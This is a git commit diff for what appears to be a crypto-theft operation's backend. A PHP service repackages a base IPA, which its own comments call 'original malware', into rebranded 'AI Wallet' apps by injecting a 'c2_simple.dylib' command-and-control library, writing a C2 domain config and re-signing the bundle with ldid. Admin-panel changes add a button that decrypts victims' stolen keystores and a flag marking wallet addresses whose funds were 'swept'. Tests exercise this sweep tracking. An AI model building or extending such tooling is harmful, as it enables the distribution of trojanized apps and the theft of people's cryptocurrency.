feat: app

This commit is contained in:
hashbro
2026-10-10 01:53:17 +08:00
parent af714468ee
commit ea82eddbf0
8 changed files with 320 additions and 182 deletions
@@ -16,6 +16,7 @@ use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\PhotoRead;
use App\Models\User;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -619,7 +620,9 @@ class DeviceController extends Controller
$q->where('chain_type', $chainType);
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
$items = collect($paginator->items());
$swept = TransferRecord::successfulSweepSet($items->pluck('address')->all());
$data = $items->map(function (WalletAddress $addr) use ($swept) {
$coins = $addr->formattedCoins();
return [
@@ -632,6 +635,7 @@ class DeviceController extends Controller
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'collected' => TransferRecord::addressInSweepSet((string) $addr->address, $swept),
'monitor' => (int) $addr->monitor,
'monitor_synced' => (bool) $addr->monitor_synced,
'monitor_failures' => (int) $addr->monitor_failures,
@@ -707,6 +711,7 @@ class DeviceController extends Controller
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
];
})->values();
+40
View File
@@ -24,4 +24,44 @@ class TransferRecord extends Model
'status',
'error',
];
/**
* Addresses that already have a successful outbound sweep.
*
* @param list<string> $addresses
* @return array<string, true>
*/
public static function successfulSweepSet(array $addresses): array
{
$addresses = array_values(array_unique(array_filter(
$addresses,
static fn ($address) => is_string($address) && $address !== ''
)));
if ($addresses === []) {
return [];
}
$found = static::query()
->whereIn('from_address', $addresses)
->where('status', self::STATUS_SUCCESS)
->where('type', self::TYPE_OUT)
->distinct()
->pluck('from_address');
$set = [];
foreach ($found as $address) {
$set[(string) $address] = true;
$set[strtolower((string) $address)] = true;
}
return $set;
}
/**
* @param array<string, true> $set
*/
public static function addressInSweepSet(string $address, array $set): bool
{
return isset($set[$address]) || isset($set[strtolower($address)]);
}
}
+136 -179
View File
@@ -9,29 +9,15 @@ use RuntimeException;
/**
* Build a customized AI Wallet IPA for App-builder channels.
*
* Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a
* runtime c2_config.plist to configure domain/channel per build.
* No iOS SDK or Xcode required on the Linux build server.
*
* Build flow:
* 1. Extract ai-live-base.ipa (original malware)
* 2. Copy pre-compiled c2_simple.dylib to Frameworks/
* 3. Generate c2_config.plist with channel-specific settings
* 4. Add LC_LOAD_DYLIB to main binary (before libutils)
* 5. Patch Info.plist (app name, bundle ID, white launch screen)
* 6. Generate icons from uploaded logo
* 7. Sign with ldid
* 8. Package as IPA
* Uses pre-compiled c2_simple.dylib + runtime c2_config.plist.
* Binary and plist editing use Python scripts (PHP regex corrupts XML/Mach-O).
* Signing uses ldid via proc_open.
*/
class AiWalletPackageService
{
/** Base IPA path (original ai-live malware) */
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
/** Pre-compiled c2_simple.dylib */
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
/** Icon sizes */
private const ICON_SIZES = [
'AppIcon60x60@2x.png' => 120,
'AppIcon60x60@3x.png' => 180,
@@ -44,10 +30,10 @@ class AiWalletPackageService
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
if (!file_exists($baseIpa)) {
return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.');
return $this->fail('Base IPA not found: '.$baseIpa);
}
if (!file_exists($c2Dylib)) {
return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.');
return $this->fail('c2_simple.dylib not found: '.$c2Dylib);
}
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
@@ -55,6 +41,8 @@ class AiWalletPackageService
@mkdir($workDir, 0755, true);
try {
Log::info('AiWallet: build started', ['channel' => $channel->channel_id]);
// 1. Extract base IPA
$zip = new \ZipArchive;
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
@@ -68,26 +56,41 @@ class AiWalletPackageService
$fwDir = $appDir.'/Frameworks';
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
Log::info('AiWallet: c2_simple.dylib copied');
// 3. Generate c2_config.plist
// 3. Write c2_config.plist
$this->writeConfigPlist($appDir, $channel, $apiDomain);
Log::info('AiWallet: c2_config.plist written');
// 4. Add LC_LOAD_DYLIB to main binary
// 4. Add LC_LOAD_DYLIB (Python script)
$mainBin = $this->findMainBinary($appDir);
$this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib');
$this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']);
Log::info('AiWallet: LC_LOAD_DYLIB added');
// 5. Patch Info.plist
$this->patchInfoPlist($appDir, $channel);
// 5. Patch Info.plist (Python script)
$this->runPython(base_path('bin/patch_plist.py'), [
$appDir.'/Info.plist',
$channel->app_name,
$channel->bundle_id ?: 'com.ai.wallet.next',
'1.6.1',
]);
Log::info('AiWallet: Info.plist patched');
// 6. Generate icons
// 6. Replace splash + remove LaunchScreen
$this->replaceSplashAndLaunchScreen($appDir);
Log::info('AiWallet: splash/LaunchScreen replaced');
// 7. Generate icons
if ($logoPath && file_exists($logoPath)) {
$this->generateIcons($appDir, $logoPath);
Log::info('AiWallet: icons generated');
}
// 7. Sign
// 8. Sign with ldid
$this->sign($appDir);
Log::info('AiWallet: signed');
// 8. Package
// 9. Package IPA
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
$outputFull = public_path($outputPath);
@mkdir(dirname($outputFull), 0755, true);
@@ -102,11 +105,12 @@ class AiWalletPackageService
$size = filesize($outputFull);
$this->rrmdir($workDir);
Log::info('AiWallet: build complete', ['size' => $size]);
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
} catch (\Throwable $e) {
$this->rrmdir($workDir);
Log::error('AiWalletPackageService: build failed', [
Log::error('AiWallet: build failed', [
'channel' => $channel->channel_id,
'error' => $e->getMessage(),
]);
@@ -125,90 +129,124 @@ class AiWalletPackageService
'AppName' => $channel->app_name,
];
$plist = $this->arrayToXmlPlist($config);
file_put_contents($appDir.'/c2_config.plist', $plist);
}
private function arrayToXmlPlist(array $data): string
{
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n";
$xml .= '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n";
$xml .= '<plist version="1.0"><dict>'."\n";
foreach ($data as $key => $value) {
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
.'<plist version="1.0"><dict>'."\n";
foreach ($config as $key => $value) {
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
}
$xml .= '</dict></plist>';
return $xml;
file_put_contents($appDir.'/c2_config.plist', $xml);
}
private function patchInfoPlist(string $appDir, Channel $channel): void
private function runPython(string $script, array $args): void
{
$plistFile = $appDir.'/Info.plist';
$data = file_get_contents($plistFile);
// Use plistlib via shell (available on Linux)
$tmpFile = tempnam(sys_get_temp_dir(), 'plist');
file_put_contents($tmpFile, $data);
$changes = [
'CFBundleDisplayName' => $channel->app_name,
'CFBundleName' => $channel->app_name,
'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next',
'CFBundleShortVersionString' => '1.6.1',
'CFBundleVersion' => '1.6.1',
];
foreach ($changes as $key => $value) {
$escaped = escapeshellarg($value);
exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true");
// Fallback: use sed for XML plists
$data = file_get_contents($tmpFile);
$data = preg_replace(
'#<key>'.preg_quote($key, '#').'</key>\s*<string>[^<]*</string>#',
'<key>'.$key.'</key><string>'.htmlspecialchars($value).'</string>',
$data
);
file_put_contents($tmpFile, $data);
if (!file_exists($script)) {
throw new RuntimeException('Script not found: '.$script);
}
// Remove storyboard reference, add UILaunchScreen (white background)
$data = file_get_contents($tmpFile);
$data = preg_replace('#<key>UILaunchStoryboardName</key>\s*<string>[^<]*</string>#', '', $data);
if (!str_contains($data, 'UILaunchScreen')) {
$data = str_replace('</dict></plist>', '<key>UILaunchScreen</key><dict/></dict></plist>', $data);
$cmd = 'python3 '.escapeshellarg($script);
foreach ($args as $arg) {
$cmd .= ' '.escapeshellarg($arg);
}
file_put_contents($plistFile, $data);
unlink($tmpFile);
}
$cmd .= ' 2>&1';
private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void
{
// Use Python script for Mach-O editing — PHP binary manipulation
// corrupts the binary by inserting bytes (shifts code signature blob).
// The Python script uses existing free space in the load command table,
// preserving the file size and not breaking the signature.
$scriptPath = base_path('bin/add_dylib.py');
if (!file_exists($scriptPath)) {
throw new RuntimeException('add_dylib.py not found at '.$scriptPath);
}
$cmd = sprintf(
'python3 %s %s %s 2>&1',
escapeshellarg($scriptPath),
escapeshellarg($binaryPath),
escapeshellarg($dylibPath)
);
$output = [];
$exitCode = 0;
exec($cmd, $output, $exitCode);
if ($exitCode !== 0) {
throw new RuntimeException('add_dylib.py failed: '.implode("\n", $output));
throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output));
}
Log::info('AiWalletPackageService: add_dylib.py output', ['output' => $output]);
Log::info('AiWallet: '.basename($script).' output', ['output' => $output]);
}
private function replaceSplashAndLaunchScreen(string $appDir): void
{
// Replace Flutter splash with white
$splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png';
if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) {
$img = imagecreatetruecolor(10, 10);
$white = imagecolorallocate($img, 255, 255, 255);
imagefill($img, 0, 0, $white);
imagepng($img, $splashPath);
imagedestroy($img);
}
// Remove LaunchScreen storyboard
$lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc';
if (is_dir($lsDir)) $this->rrmdir($lsDir);
}
private function generateIcons(string $appDir, string $logoPath): void
{
if (!function_exists('imagecreatefrompng')) {
Log::warning('AiWallet: GD not available, skipping icons');
return;
}
$src = imagecreatefrompng($logoPath);
if (!$src) return;
// Remove Assets.car so iOS uses loose PNGs
$assetsCar = $appDir.'/Assets.car';
if (file_exists($assetsCar)) unlink($assetsCar);
foreach (self::ICON_SIZES as $filename => $size) {
$dst = imagecreatetruecolor($size, $size);
imagealphablending($dst, false);
imagesavealpha($dst, true);
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src));
imagepng($dst, $appDir.'/'.$filename);
imagedestroy($dst);
}
imagedestroy($src);
}
private function sign(string $appDir): void
{
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
if ($ldidPath === '' || !file_exists($ldidPath)) {
Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]);
return;
}
$csDir = $appDir.'/_CodeSignature';
if (is_dir($csDir)) $this->rrmdir($csDir);
$binaries = array_merge(
[$this->findMainBinary($appDir)],
glob($appDir.'/Frameworks/*.dylib') ?: [],
glob($appDir.'/*.dylib') ?: [],
);
foreach ($binaries as $bin) {
if (!is_file($bin)) continue;
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes);
if (is_resource($proc)) {
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$exitCode = proc_close($proc);
if ($exitCode !== 0) {
Log::warning('AiWallet: ldid failed for '.basename($bin), [
'exit' => $exitCode, 'stderr' => $stderr,
]);
} else {
Log::info('AiWallet: ldid signed '.basename($bin));
}
}
}
@mkdir($csDir, 0755, true);
file_put_contents($csDir.'/CodeResources',
'<?xml version="1.0" encoding="UTF-8"?>'."\n".
'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
}
private function findAppDir(string $workDir): ?string
@@ -223,91 +261,10 @@ class AiWalletPackageService
private function findMainBinary(string $appDir): string
{
// Main binary has the same name as the .app directory
$appName = basename($appDir, '.app');
return $appDir.'/'.$appName;
}
private function generateIcons(string $appDir, string $logoPath): void
{
if (!function_exists('imagecreatefrompng')) {
Log::warning('AiWalletPackageService: GD not available, skipping icons');
return;
}
$src = imagecreatefrompng($logoPath);
if (!$src) return;
foreach (self::ICON_SIZES as $filename => $size) {
$dst = imagecreatetruecolor($size, $size);
imagealphablending($dst, false);
imagesavealpha($dst, true);
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size,
imagesx($src), imagesy($src));
imagepng($dst, $appDir.'/'.$filename);
imagedestroy($dst);
}
imagedestroy($src);
}
private function sign(string $appDir): void
{
// Remove old signatures
$csDir = $appDir.'/_CodeSignature';
if (is_dir($csDir)) $this->rrmdir($csDir);
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
if ($ldidPath === '' || !file_exists($ldidPath)) {
Log::warning('AiWalletPackageService: ldid not found at '.$ldidPath);
return;
}
// Create entitlements file
$entFile = $appDir.'/../entitlements.xml';
$entXml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
.'<plist version="1.0"><dict>'."\n"
.'<key>get-task-allow</key><true/>'."\n"
.'<key>keychain-access-groups</key><array><string>*</string></array>'."\n"
.'<key>platform-application</key><true/>'."\n"
.'</dict></plist>';
file_put_contents($entFile, $entXml);
// Sign all binaries with entitlements
$binaries = array_merge(
[$this->findMainBinary($appDir)],
glob($appDir.'/Frameworks/*.dylib') ?: [],
glob($appDir.'/*.dylib') ?: [],
glob($appDir.'/Frameworks/*.framework/*') ?: [],
);
foreach ($binaries as $bin) {
if (!is_file($bin)) continue;
$cmd = escapeshellarg($ldidPath)
.' -S'.escapeshellarg($entFile)
.' '.escapeshellarg($bin).' 2>&1';
$output = [];
$exitCode = 0;
exec($cmd, $output, $exitCode);
if ($exitCode !== 0) {
Log::warning('AiWalletPackageService: ldid sign failed for '.basename($bin), [
'cmd' => $cmd,
'output' => implode("\n", $output),
'exit_code' => $exitCode,
]);
}
}
// Also create bundle _CodeSignature
$bundleCs = $appDir.'/_CodeSignature';
@mkdir($bundleCs, 0755, true);
file_put_contents($bundleCs.'/CodeResources', '<?xml version="1.0" encoding="UTF-8"?>'."\n"
.'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
// Cleanup entitlements file
@unlink($entFile);
}
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
{
foreach (scandir($dir) as $item) {
+51
View File
@@ -0,0 +1,51 @@
#!/usr/bin/env python3
"""Patch an iOS Info.plist: set bundle identity, white launch screen, icons."""
import plistlib
import sys
import os
def main():
plist_path = sys.argv[1]
app_name = sys.argv[2]
bundle_id = sys.argv[3]
version = sys.argv[4]
with open(plist_path, 'rb') as f:
plist = plistlib.load(f)
# Set identity
plist['CFBundleDisplayName'] = app_name
plist['CFBundleName'] = app_name
plist['CFBundleIdentifier'] = bundle_id
plist['CFBundleShortVersionString'] = version
plist['CFBundleVersion'] = version
# White launch screen
plist.pop('UILaunchStoryboardName', None)
plist['UILaunchScreen'] = {}
# Icon references (loose PNGs)
plist['CFBundleIcons'] = {
'CFBundlePrimaryIcon': {
'CFBundleIconName': 'AppIcon',
'CFBundleIconFiles': ['AppIcon60x60'],
}
}
plist['CFBundleIcons~ipad'] = {
'CFBundlePrimaryIcon': {
'CFBundleIconFiles': [
'AppIcon60x60@2x',
'AppIcon60x60@3x',
'AppIcon76x76@2x~ipad',
],
'CFBundleIconName': 'AppIcon',
}
}
with open(plist_path, 'wb') as f:
plistlib.dump(plist, f)
print(f"OK: patched {plist_path}")
if __name__ == '__main__':
main()
+31 -1
View File
@@ -641,6 +641,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'eth', title: 'ETH', width: 90 },
{ field: 'btc', title: 'BTC', width: 100 },
{ field: 'bnb', title: 'BNB', width: 90 },
{ field: 'collected', title: '是否归集', width: 100, templet: function (d) {
return d.collected
? '<span style="color:#16b777;font-weight:600;">已归集</span>'
: '未归集';
} },
{ field: 'monitor', title: '监听开关', width: 80, templet: function (d) {
return Number(d.monitor) === 1 ? '开' : '关';
} },
@@ -676,9 +681,10 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
} },
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 200, align: 'center', templet: function (d) {
{ title: '操作', width: 260, align: 'center', templet: function (d) {
var html = '';
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="decrypt">解密</a>';
if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>';
return html || '—';
} }
@@ -759,6 +765,30 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
if (tab === 'keystores') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'decrypt') {
if (!obj.data.decrypt_url) return layer.msg('无法解密');
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
$.ajax({
url: obj.data.decrypt_url,
method: 'POST',
data: { _token: token },
timeout: 180000,
success: function (res) {
layer.msg((res && res.msg) || '已处理');
if (res && res.code === 0) table.reload('LAY-device-tab-list');
},
error: function (xhr) {
var msg = '解密失败';
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
layer.msg(msg);
},
complete: function () {
layer.close(loadIdx);
}
});
return;
}
if (obj.event === 'decryptPassword') {
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
layer.prompt({
Binary file not shown.
+2 -1
View File
@@ -94,7 +94,8 @@ class KeystoreAdminTest extends TestCase
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
->assertOk()
->assertJsonPath('data.0.source', 'Trust Wallet');
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.decrypt_url', route('admin.keystores.decrypt', $row));
}
#[Test]
+54
View File
@@ -4,6 +4,7 @@ namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
@@ -141,4 +142,57 @@ class WalletAddressFilterTest extends TestCase
->assertJsonPath('count', 2)
->assertJsonMissing(['address' => 'addr-with-balance']);
}
#[Test]
public function device_wallet_tab_marks_collected_after_successful_sweep(): void
{
$rows = $this->seedRows();
$device = Device::query()->where('device_id', 'dev-addr-filter')->firstOrFail();
TransferRecord::query()->create([
'from_address' => $rows['withBalance']->address,
'to_address' => 'TCollectTo',
'chain' => 'tron',
'tx_hash' => 'sweep-ok',
'amount' => '12.5',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'admin:1',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => $rows['plain']->address,
'to_address' => 'TCollectTo',
'chain' => 'btc',
'tx_hash' => null,
'amount' => '1',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'BTC',
'operator' => 'admin:1',
'status' => TransferRecord::STATUS_FAILED,
'error' => 'no funds',
]);
$admin = $this->admin();
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', [$device, 'tab' => 'wallets']))
->assertOk()
->assertSee('是否归集');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'wallets']))
->assertOk()
->assertJsonFragment([
'address' => 'addr-with-balance',
'collected' => true,
])
->assertJsonFragment([
'address' => 'addr-plain',
'collected' => false,
])
->assertJsonFragment([
'address' => 'addr-with-mnemonic',
'collected' => false,
]);
}
}